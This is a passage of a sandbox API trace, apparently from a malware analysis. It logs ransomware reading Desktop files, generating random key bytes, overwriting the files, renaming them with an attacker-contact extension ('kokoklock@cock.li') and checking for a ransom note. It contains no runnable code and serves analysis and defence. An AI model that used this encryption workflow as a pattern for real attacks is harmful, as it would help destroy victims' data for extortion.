BaseAddress=0x2f87428) returned 1 [0172.942] WriteFile (in: hFile=0x584, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x180ffbe4*=0x8, lpOverlapped=0x0) returned 1 [0172.942] WriteFile (in: hFile=0x584, lpBuffer=0x180ffbfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x180ffbfc*, lpNumberOfBytesWritten=0x180ffbe4*=0x4, lpOverlapped=0x0) returned 1 [0172.943] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x180ffbe4*=0x4, lpOverlapped=0x0) returned 1 [0172.943] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x180ffbe4*=0x6c, lpOverlapped=0x0) returned 1 [0172.943] WriteFile (in: hFile=0x584, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x180ffbe4*=0x20, lpOverlapped=0x0) returned 1 [0172.943] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x180ffbe4*=0x4, lpOverlapped=0x0) returned 1 [0172.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0172.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.943] CloseHandle (hObject=0x584) returned 1 [0172.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc41c0 [0172.943] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" [0172.943] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.944] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.944] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0172.945] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013440 [0172.945] wcscpy (in: _Dest=0x3013440, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.945] wcscat (in: _Dest=0x3013440, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.945] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0172.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91df0) returned 1 [0172.945] RtlExitUserThread (Status=0x1) Thread: id = 2083 os_tid = 0x1174 [0172.948] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.949] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.949] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x1817f940 | out: lpFileSize=0x1817f940*=18607) returned 1 [0172.949] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x48ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.949] ReadFile (in: hFile=0x584, lpBuffer=0x1817f914, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x1817f914*, lpNumberOfBytesRead=0x1817f910*=0x4, lpOverlapped=0x0) returned 1 [0172.950] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0172.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.951] NtQuerySystemTime (in: CurrentTime=0x1817f8ec | out: CurrentTime=0x1817f8ec*=132121213302639237) returned 0x0 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x5ebc1b53 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x8bbefbfb [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xffce9e25 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xb2fd1561 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x9656e2ec [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x2756d739 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xe2b56528 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xe2058909 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xb5e35315 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xc2f74a23 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xb78b478d [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x5e2c6942 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x6af414b0 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x3e36df71 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xc393d4b7 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xbf9f775 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x27527979 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x614629b0 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x79d0a4d [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x7b5488dc [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x198575d6 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x76e7d7ae [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x35f1bd7f [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x9854f3d6 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xeea6d6a5 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x860eea04 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xe27cf3c3 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x7734c0d1 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x6a3c810b [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x282474c7 [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0xd21bad4a [0172.951] RtlRandom (in: Seed=0x1817f8f8 | out: Seed=0x1817f8f8) returned 0x48490f3a [0172.961] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0172.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.963] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.963] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1817f8c4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1817f8c4*=0x4096, lpOverlapped=0x0) returned 1 [0172.964] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0172.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013710 [0172.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0172.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0172.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0172.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054028 [0172.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054028) returned 1 [0172.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013710) returned 1 [0172.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0172.964] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1817f8c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1817f8c4*=0x4096, lpOverlapped=0x0) returned 1 [0172.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.965] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x48af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x584, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1817f8fc, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x1817f8fc*=0x20, lpOverlapped=0x0) returned 1 [0172.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0172.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.965] WriteFile (in: hFile=0x584, lpBuffer=0x3053df8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x3053df8*, lpNumberOfBytesWritten=0x1817f910*=0x8, lpOverlapped=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x584, lpBuffer=0x1817f928*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x1817f928*, lpNumberOfBytesWritten=0x1817f910*=0x4, lpOverlapped=0x0) returned 1 [0172.966] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1817f910*=0x4, lpOverlapped=0x0) returned 1 [0172.966] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1817f910*=0x6c, lpOverlapped=0x0) returned 1 [0172.966] WriteFile (in: hFile=0x584, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x1817f910*=0x20, lpOverlapped=0x0) returned 1 [0172.966] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1817f910, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1817f910*=0x4, lpOverlapped=0x0) returned 1 [0172.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0172.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0172.966] CloseHandle (hObject=0x584) returned 1 [0172.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4760 [0172.966] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" [0172.966] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.966] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.967] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0172.968] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013440 [0172.968] wcscpy (in: _Dest=0x3013440, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.968] wcscat (in: _Dest=0x3013440, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.968] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0172.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91ea0) returned 1 [0172.968] RtlExitUserThread (Status=0x1) Thread: id = 2084 os_tid = 0x1178 [0172.972] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.972] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.972] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x181ff9cc | out: lpFileSize=0x181ff9cc*=38914) returned 1 [0172.972] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x97fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.972] ReadFile (in: hFile=0x584, lpBuffer=0x181ff9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x181ff9a0*, lpNumberOfBytesRead=0x181ff99c*=0x4, lpOverlapped=0x0) returned 1 [0172.974] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0172.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.974] NtQuerySystemTime (in: CurrentTime=0x181ff978 | out: CurrentTime=0x181ff978*=132121213302952387) returned 0x0 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x4f92058d [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xe0ce2d34 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x384f0468 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x195b962c [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x2fd2fbe7 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x9a0cbabd [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x7cc2fc7c [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xbe537de9 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x7d932576 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xe34b29bd [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x97d13085 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xd50979c2 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xf2b211c [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x3de22c3 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x2ab8eda5 [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xa5ac85ca [0172.974] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x74a85580 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xdccdbfe [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xe0b47368 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xb9b583b0 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x8e66c30a [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x4027b106 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x14dc0fd5 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x3bb75115 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x5aedfdd [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0xdba32f99 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x57cd577e [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x97b0898e [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x20593530 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x5c6248ae [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x9705de4 [0172.975] RtlRandom (in: Seed=0x181ff984 | out: Seed=0x181ff984) returned 0x952e6747 [0172.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30541b8 [0172.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30135a8 [0172.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30541e0 [0172.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30135a8) returned 1 [0172.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.986] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.986] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x181ff950, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x181ff950*=0x4096, lpOverlapped=0x0) returned 1 [0172.987] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0172.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013710 [0172.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0172.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0172.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0172.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30542f8 [0172.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0172.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013710) returned 1 [0172.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0172.988] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x181ff950, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x181ff950*=0x4096, lpOverlapped=0x0) returned 1 [0172.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.988] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x9802, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.988] WriteFile (in: hFile=0x584, lpBuffer=0x3054168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x181ff988, lpOverlapped=0x0 | out: lpBuffer=0x3054168*, 